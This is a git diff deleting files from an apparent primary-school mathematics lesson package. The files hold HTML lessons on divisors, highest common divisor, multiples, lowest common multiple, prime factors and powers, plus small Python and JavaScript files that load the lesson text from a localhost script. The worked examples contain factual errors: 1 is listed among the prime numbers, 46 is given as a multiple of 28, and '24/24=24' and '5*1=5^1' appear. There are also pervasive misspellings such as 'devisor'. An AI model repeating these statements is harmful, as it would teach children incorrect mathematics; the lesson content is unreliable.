- <br />
- <br />
- Methode 2:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="20%" valign="top">
-    Number1
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Number2
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Number3
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Number4
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Common Devisors
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    36
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    60
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    96
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    18
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    30
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    48
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    15
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- The Highest Common Devidor is: 2*2*3=12
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- To find the HCD , first ffind the devisors of each numbe, list the commonn devisors and the take the highest(greatest ) or devide by lowest devisor continue to devide until when there is no common devisor other than one and mulltipply the divisors to find the HCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice:
- </span>
- A devisor or factor is a number which devids another.
- <br />
- <br />
- Example3: Find the multiples of 5 and of 11
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- a) The multiples of 5 are: 5;10;15;20;25;30;35;40;........
- <br />
- b) The multiplees of 11 are: 11;22;33;44;55;66;77;........
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- The multiples of a number are obtained by multiplying that number by the countinng numbers by starting at one.
- <br />
- <br />
- Example4: Find the multiples of 20 less than 90
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- 20*1; 20*2; 20*3; 20*4; 20*5
- <br />
- The multiples of 20 ={20; 40; 60; 80}
- <br />
- <br />
- Example5: Find the Lowest Common Multiples(LCM) of 6 and 9 less than 40.
- <br />
- a) Multiples of 6=6*1; 6*2; 6*3; 6*4; 6*5; 6*6={6; 12;18; 24; 36}
- <br />
- b) Multiples of 9=9*1; 9*2; 9*3; 9*4={9; 18; 36}
- <br />
- <br />
- The common multiples of 6 and 9 are 18 and 36
- <br />
- Thus the Lowest Common Multiples of 6 and 9 is 18.
- <br />
- <br />
- Example 6: Find the LCM of tthis set of numbers.
- <br />
- 12; 28 and 42.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- a) The multiples of 12=12*1; 12*2; 12*3; 12*4; 12*5; 12*6; 12*7; 12*88=
- <br />
- {12; 24; 36; 48; 60; 72;
- <span style="color: #ff0000;">
-  84
- </span>
- ,........}
- <br />
- <br />
- b)) The multipples of 28=28*1; 28*2; 28*3 ; 28*4; 28*5; 28*6;.....=
- <br />
- {28; 46;
- <span style="color: #ff0000;">
-  84
- </span>
- ;.......}
- <br />
- <br />
- c) The multiples of 42=42*1; 42*2; 42*3; 42*4;={42;
- <span style="color: #ff0000;">
-  84
- </span>
- ; ........}
- <br />
- <br />
- The Lowest Common Multiples of 12;28 and 42 is 84
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- To fid the Lowest Common Multiple, you list the common multiples and then you take the Lowest.
- <br />
- <br />
- Example 7: What are the prime numbers among the following and why.
- <br />
- 1,4,2,7,9,27,17,107,108.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- The prime numbers are {1,2,7,17,107} because you can not find any number other than one and the number itself which can devide thay number.
- <br />
- <br />
- Example 8: Find the prime ffactors of 36 and write 36 as a product of prime factors.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Number
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    Devisor
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    36
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    18
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- The prime factors of 36 are 2 and 3
- <br />
- therefore 36=2**2*3*3
- <br />
- 36=2
- <sup>
-  2
- </sup>
- *3
- <sup>
-  2
- </sup>
- <sup>
- </sup>
- <sup>
-  <br />
-  <br />
- </sup>
- Notes to create: To find the prime factors of number, you devide tthat number using prime numbers only by starting at 2.
- <sup>
-  <br />
-  <br />
- </sup>
- The prime factors are presented as a product of prime fators or in power form.
- <sup>
-  <br />
-  <br />
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m11/map611m11a02/description.py b/Save_Mathematics/P6/map611m11/map611m11a02/description.py
deleted file mode 100644
index 0d58597..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m11a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m11/map611m11a02/lesson.js b/Save_Mathematics/P6/map611m11/map611m11a02/lesson.js
deleted file mode 100644
index a7d2cb1..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m11/map611m11a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m11/map611m11a02/source.txt b/Save_Mathematics/P6/map611m11/map611m11a02/source.txt
deleted file mode 100644
index a06a319..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a02/source.txt
+++ /dev/null
@@ -1,528 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
-  <br />
-  <br />
- </span>
- Example1: The Highest Common Devisor.
- <br />
- <br />
- a. Find the devisors of 24.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- 1;2;3;4;6;8;12and 24 because 24/1=24 ;24/2=12; 24/3=8; 24/4=6; 24/6=4;24/8=3; 24/12=2; 24/24=24 thus the devisors of 24 are 8 which are: 1;2;3;4;6;8;12and 24.
- <br />
- <br />
- b. Find the devisors of 54.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- 1;2;3;6;9;18;27 and 54 because 54/1=54; 54/2=27;54/3=18; 54/9=6; 54/18=3; 54/27=2; 54/54=1
- <br />
- thus the devisors of 54 are 8 which are 1;2;3;6;9;18;27 and 54
- <br />
- <br />
- Example2: Find the Highest Common devisor of 24 and 54
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Method 1:
- </span>
- <br />
- a) Find the factors of 24=
- <span style="font-weight: bold;">
-  1;2;3
- </span>
- ;4;
- <span style="font-weight: bold;">
-  6
- </span>
- ;8;12;24
- <br />
- b) Find the factors of 54=
- <span style="font-weight: bold;">
-  1;2;3;6
- </span>
- ;9;27;54
- <br />
- <br />
- The Common Devisors of 24and 54 aree 1;2;3 and 6.
- <br />
- so, the highest Common Devisor of 24 and 54 is 6
- <br />
- <br />
- <span style="font-weight: bold;">
-  Methode 2:
- </span>
- <br />
- Deviding by Lowest Common devisor.
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    Number1
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Number2
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Common devisors
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    54
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    27
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- The Higheest Common Devidor is 2*3=6
- <br />
- <br />
- Example3: Find the HCD of this set of numbers.
- <br />
- 24;36;60 and 96
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- Methode 1:
- <br />
- a) The factors of 24=
- <span style="font-weight: bold;">
-  1;2;3;4;6;8;12
- </span>
- ;24
- <br />
- b) The factors of 36=
- <span style="font-weight: bold;">
-  1;2;3;4;6
- </span>
- ;9;
- <span style="font-weight: bold;">
-  12
- </span>
- ;18;36
- <br />
- c) The factors of 60 =
- <span style="font-weight: bold;">
-  1;2;3;4
- </span>
- ;5;
- <span style="font-weight: bold;">
-  6;
- </span>
- 10;
- <span style="font-weight: bold;">
-  12
- </span>
- ;15;20;30;60
- <br />
- d) The factors of 96=
- <span style="font-weight: bold;">
-  1;2;3;4;6
- </span>
- ;8;
- <span style="font-weight: bold;">
-  12;
- </span>
- 16;24;32;48;96
- <br />
- <br />
- The common devisors of 24;36;60 and 96 are 1;2;3;4;6;12
- <br />
- The highest Common Devidor is 12.
- <br />
- <br />
- Methode 2:
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="20%" valign="top">
-    Number1
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Number2
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Number3
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Number4
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    Common Devisors
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    36
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    60
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    96
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    18
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    30
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    48
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    15
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="20%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="20%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- The Highest Common Devidor is: 2*2*3=12
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- To find the HCD , first ffind the devisors of each numbe, list the commonn devisors and the take the highest(greatest ) or devide by lowest devisor continue to devide until when there is no common devisor other than one and mulltipply the divisors to find the HCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice:
- </span>
- A devisor or factor is a number which devids another.
- <br />
- <br />
- Example3: Find the multiples of 5 and of 11
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- a) The multiples of 5 are: 5;10;15;20;25;30;35;40;........
- <br />
- b) The multiplees of 11 are: 11;22;33;44;55;66;77;........
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- The multiples of a number are obtained by multiplying that number by the countinng numbers by starting at one.
- <br />
- <br />
- Example4: Find the multiples of 20 less than 90
- <br />
- <br />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
- 20*1; 20*2; 20*3; 20*4; 20*5
- <br />
- The multiples of 20 ={20; 40; 60; 80}
- <br />
- <br />
- Example5: Find the Lowest Common Multiples(LCM) of 6 and 9 less than 40.
- <br />
- a) Multiples of 6=6*1; 6*2; 6*3; 6*4; 6*5; 6*6={6; 12;18; 24; 36}
- <br />
- b) Multiples of 9=9*1; 9*2; 9*3; 9*4={9; 18; 36}
- <br />
- <br />
- The common multiples of 6 and 9 are 18 and 36
- <br />
- Thus the Lowest Common Multiples of 6 and 9 is 18.
- <br />
- <br />
- Example 6: Find the LCM of tthis set of numbers.
- <br />
- 12; 28 and 42.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- a) The multiples of 12=12*1; 12*2; 12*3; 12*4; 12*5; 12*6; 12*7; 12*88=
- <br />
- {12; 24; 36; 48; 60; 72;
- <span style="color: #ff0000;">
-  84
- </span>
- ,........}
- <br />
- <br />
- b)) The multipples of 28=28*1; 28*2; 28*3 ; 28*4; 28*5; 28*6;.....=
- <br />
- {28; 46;
- <span style="color: #ff0000;">
-  84
- </span>
- ;.......}
- <br />
- <br />
- c) The multiples of 42=42*1; 42*2; 42*3; 42*4;={42;
- <span style="color: #ff0000;">
-  84
- </span>
- ; ........}
- <br />
- <br />
- The Lowest Common Multiples of 12;28 and 42 is 84
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- To fid the Lowest Common Multiple, you list the common multiples and then you take the Lowest.
- <br />
- <br />
- Example 7: What are the prime numbers among the following and why.
- <br />
- 1,4,2,7,9,27,17,107,108.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- The prime numbers are {1,2,7,17,107} because you can not find any number other than one and the number itself which can devide thay number.
- <br />
- <br />
- Example 8: Find the prime ffactors of 36 and write 36 as a product of prime factors.
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  SOLUTION:
- </span>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    Number
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    Devisor
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    36
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    18
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- The prime factors of 36 are 2 and 3
- <br />
- therefore 36=2**2*3*3
- <br />
- 36=2
- <sup>
-  2
- </sup>
- *3
- <sup>
-  2
- </sup>
- <sup>
- </sup>
- <sup>
-  <br />
-  <br />
- </sup>
- Notes to create: To find the prime factors of number, you devide tthat number using prime numbers only by starting at 2.
- <sup>
-  <br />
-  <br />
- </sup>
- The prime factors are presented as a product of prime fators or in power form.
- <sup>
-  <br />
-  <br />
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m11/map611m11a03/a.txt b/Save_Mathematics/P6/map611m11/map611m11a03/a.txt
deleted file mode 100644
index 84b4655..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a03/a.txt
+++ /dev/null
@@ -1,75 +0,0 @@
-<p>
- <br />
- <strong>
-  EVALUATION
- </strong>
-</p>
-<p>
- 1. Find the devisors of he following numbers and list them.
- <br />
- a) 12
- <br />
- b) 15
- <br />
- c) 54
- <br />
- <br />
- 2. Find the common devisors and the HCD of each of the following pairs of numbers
- <br />
- a) 9 and 12
- <br />
- b) 24 and 40
- <br />
- c) 132 and 110
- <br />
- d) 63 and 28
- <br />
- <br />
- 3. What are the HCD of each set of numbers:
- <br />
- a) 24;36 and 96
- <br />
- b) 36;64 and 126
- <br />
- d) 32;48;60 and 96
- <br />
- d) 24;46;64 and 136
- <br />
- <br />
-</p>
-<p>
- 4. Find the first six multiples of ech number
- <br />
- a) 8
- <br />
- b) 9
- <br />
- c)13
- <br />
- <br />
- 5. What are the LCM of each set of numbers:
- <br />
- a) 6 and 15
- <br />
- b) 12 and 13
- <br />
- d) 7 and 10
- <br />
- <br />
- 6. Find the LCM of each set of the numbers.
- <br />
- a) 15; 30 and 45
- <br />
- b) 14; 21 and 49
- <br />
- <br />
- 7. Find the prime factors of each number and show you answer in power form:
- <br />
- a) 32
- <br />
- b) 60
- <br />
- c) 360
- <br />
- d) 104
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m11/map611m11a03/description.py b/Save_Mathematics/P6/map611m11/map611m11a03/description.py
deleted file mode 100644
index dcb14c1..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m11a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m11/map611m11a03/lesson.js b/Save_Mathematics/P6/map611m11/map611m11a03/lesson.js
deleted file mode 100644
index 35f78db..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m11/map611m11a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m11/map611m11a03/source.txt b/Save_Mathematics/P6/map611m11/map611m11a03/source.txt
deleted file mode 100644
index 84b4655..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a03/source.txt
+++ /dev/null
@@ -1,75 +0,0 @@
-<p>
- <br />
- <strong>
-  EVALUATION
- </strong>
-</p>
-<p>
- 1. Find the devisors of he following numbers and list them.
- <br />
- a) 12
- <br />
- b) 15
- <br />
- c) 54
- <br />
- <br />
- 2. Find the common devisors and the HCD of each of the following pairs of numbers
- <br />
- a) 9 and 12
- <br />
- b) 24 and 40
- <br />
- c) 132 and 110
- <br />
- d) 63 and 28
- <br />
- <br />
- 3. What are the HCD of each set of numbers:
- <br />
- a) 24;36 and 96
- <br />
- b) 36;64 and 126
- <br />
- d) 32;48;60 and 96
- <br />
- d) 24;46;64 and 136
- <br />
- <br />
-</p>
-<p>
- 4. Find the first six multiples of ech number
- <br />
- a) 8
- <br />
- b) 9
- <br />
- c)13
- <br />
- <br />
- 5. What are the LCM of each set of numbers:
- <br />
- a) 6 and 15
- <br />
- b) 12 and 13
- <br />
- d) 7 and 10
- <br />
- <br />
- 6. Find the LCM of each set of the numbers.
- <br />
- a) 15; 30 and 45
- <br />
- b) 14; 21 and 49
- <br />
- <br />
- 7. Find the prime factors of each number and show you answer in power form:
- <br />
- a) 32
- <br />
- b) 60
- <br />
- c) 360
- <br />
- d) 104
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/activities.js b/Save_Mathematics/P6/map611m12/activities.js
deleted file mode 100755
index fc88f4b..0000000
--- a/Save_Mathematics/P6/map611m12/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m12a01','blue'],
-['2','2','map6','basic','map611m12a02','blue'],
-['3','3','map6','basic','map611m12a03','blue'],
-['4','4','map6','basic','map611m12a04','blue'],
-['5','5','map6','basic','map611m12a05','blue'],
-['6','6','map6','basic','map611m12a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m12/map611m12a01/a.txt b/Save_Mathematics/P6/map611m12/map611m12a01/a.txt
deleted file mode 100644
index e47113e..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a01/a.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<h3>
- Introduction.
-</h3>
-<h3>
- It becomes that the things appear more times in different areas such as in multiplication.In mathematicus we call that the powers or exponents.The power of a number means that the number of times the same number is multiplied by itself.
-</h3>
-<div style="text-align: left;">
- The following examples express it more:
- <br />
- .When five appears once in the multiplication,we can write it like this:5*1=5
- <sup>
-  1
- </sup>
- <br />
- .When five appears two times,we can write :5*5=5
- <sup>
-  2
- </sup>
- <br />
- .When five appears three times,we have to wtite: 5*5*5=5
- <sup>
-  3
- </sup>
- <br />
- <br />
- In this milestone we will be learning the powers or exponents of whole numbers and,how to find the value of the given powers(exponents).
- <br />
- <br />
- Are you just able to give other examples related to those give above?
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a01/description.py b/Save_Mathematics/P6/map611m12/map611m12a01/description.py
deleted file mode 100644
index dac4522..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m12a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m12/map611m12a01/lesson.js b/Save_Mathematics/P6/map611m12/map611m12a01/lesson.js
deleted file mode 100644
index ef1a0c4..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m12/map611m12a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m12/map611m12a01/source.txt b/Save_Mathematics/P6/map611m12/map611m12a01/source.txt
deleted file mode 100644
index e47113e..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a01/source.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-<h3>
- Introduction.
-</h3>
-<h3>
- It becomes that the things appear more times in different areas such as in multiplication.In mathematicus we call that the powers or exponents.The power of a number means that the number of times the same number is multiplied by itself.
-</h3>
-<div style="text-align: left;">
- The following examples express it more:
- <br />
- .When five appears once in the multiplication,we can write it like this:5*1=5
- <sup>
-  1
- </sup>
- <br />
- .When five appears two times,we can write :5*5=5
- <sup>
-  2
- </sup>
- <br />
- .When five appears three times,we have to wtite: 5*5*5=5
- <sup>
-  3
- </sup>
- <br />
- <br />
- In this milestone we will be learning the powers or exponents of whole numbers and,how to find the value of the given powers(exponents).
- <br />
- <br />
- Are you just able to give other examples related to those give above?
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a02/a.txt b/Save_Mathematics/P6/map611m12/map611m12a02/a.txt
deleted file mode 100644
index 248032f..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a02/a.txt
+++ /dev/null
@@ -1,211 +0,0 @@
-<h3 style="text-align: left;">
- Guided Practice
-</h3>
-<h3 style="text-align: left;">
- Example 1:Find the value of the following powers (exponents) using a table:
-</h3>
-<table style="text-align: left; margin-left: 0px; margin-right: auto;" border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     POWERS
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     Multiplication
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     Values
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     Nuber of times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      1
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*1
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears once
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      2
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     16
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4appears two times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      3
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     64
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears three times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      4
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4*4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     256
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears four times
-    </h3>
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <h3>
-     4
-     <sup>
-      5
-     </sup>
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4*4*4*4*4
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     1024
-    </h3>
-   </td>
-   <td width="25%" valign="top">
-    <h3>
-     4 appears five times
-    </h3>
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- Example 2 :Addition of powers
- <br />
- 5
- <sup>
-  2
- </sup>
- +4
- <sup>
-  3
- </sup>
- =(5*5)+(4*4*4)
- <br />
- =25+(16*4)
- <br />
- =25+64
- <br />
- <br />
- Knowledge: 5
- <sup>
-  2
-  <br />
- </sup>
- 5 is base,while 2 is the power or exponent
- <br />
- As this example above shows that,when we have addition,we find out each term separately and then we add the values found.
- <br />
- <br />
- Example 3 :Subtraction
- <br />
- <br />
- 5
- <sup>
-  4
- </sup>
- -4
- <sup>
-  3
- </sup>
- =(5*5*5*5)-(4*4*4)
- <br />
- =(25*5*5)-(16*4)
- <br />
- =(125*5)-64
- <br />
- =625-64
- <br />
- =561
- <br />
- Knowledge:
- <br />
- <br />
- When we have subtraction of powers,we find out each term separately and then we subtract the values.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m12/map611m12a02/description.py b/Save_Mathematics/P6/map611m12/map611m12a02/description.py
deleted file mode 100644
index 98a9dbe..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m12a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m12/map611m12a02/lesson.js b/Save_Mathematics/P6/map611m12/map611m12a02/lesson.js
deleted file mode 100644
index 47c09d4..0000000
--- a/Save_Mathematics/P6/map611m12/map611m12a02/lesson.js
